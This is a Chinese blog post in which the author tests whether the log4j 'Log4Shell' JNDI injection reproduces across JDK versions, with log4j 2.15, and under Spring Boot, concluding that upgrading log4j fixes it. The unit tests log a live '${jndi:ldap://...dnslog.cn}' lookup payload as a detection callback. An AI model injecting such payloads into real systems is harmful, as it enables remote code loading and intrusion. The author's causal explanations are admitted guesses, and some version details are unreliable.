额。。。95%JavaEE都会受影响把。
个人测试一下实际情况
运行环境
更改JDK版本
- JDK
3个版本
- maven依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.16.22</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.1</version>
</dependency>
</dependencies>
测试代码
@Slf4j
public class test {
public static void main(String... args) {
}
@Test
public void test() {
log.error("${jndi:ldap://pmrzog.dnslog.cn}");
}
}
不做其他任何参数限制
结果
-
JDK1.8早期版本
-
JDK1.8 300以上
-
JDK11
结论
网上传播和版本有关系JDK1.8 200以上不会出现这种情况是错误的,至少我测试的版本都有问题
更改log4j依赖包
log4j官网
https://logging.apache.org/log4j/2.x/maven-artifacts.html
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
以上情况均未复现
结论
log4j-core和log4j-api 更新到最新2.15即可
集成springboot
springboot相关环境
- springboot版本2.3.8
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.8.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
因为spring-boot-start集成log4j。
- log4j
自带集成的版本为2.1.3
测试用例
- 使用lombook注解
@SpringBootTest
@Slf4j
class DemoApplicationTests {
@Test
void contextLoads() {
log.error("${jndi:ldap://xh836m.dnslog.cn}");
}
}
未复现
原因分析
- 可能1
个人猜测log其实是logback 的Logger实现了org.slf4j.Logger的接口。并不调用slf4j内部实现方法,故不会重现。具体源码太长不看
最终是通过AppenderAttachableImpl的appendLoopOnAppenders方法加上读写锁实现的。具体源码太长不看
- 可能2
spring-boot-starter-logging在整合log4j的时候为了更适配做了单独的配置。一定是这样,懒得看了。。。
验证
单独引入springboot的日志体系
<groupId>org.example</groupId>
<artifactId>test</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.16.22</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
<version>2.3.8.RELEASE</version>
</dependency>
</dependencies>
没有触发
个人总结
- 从JDK8到JDK11均可以复现,和JDK版本无关
- springboot整合的日志框架可以避免
修复
- 升级官方版本2.15
- 其他还未测试,持怀疑态度,网上解决方案也并不可尽信
- 特别注意修改全局参数配置要看log4j版本,官网留意更新
log4j更新日志
https://logging.apache.org/log4j/2.x/changes-report.html#a2.10.0
2.10以上才支持全局参数配置
个人建议
1.中间件大量使用log4j,要是牛逼就一个个下源码排除依赖加最新依赖,谁知道会不会出幺蛾子
2.如果没有直接引用log4j就先放着,等官方修复。全套整下来得弄死,而且也不一定能整好,有些公司确实比较佛系
Comments | 0 条评论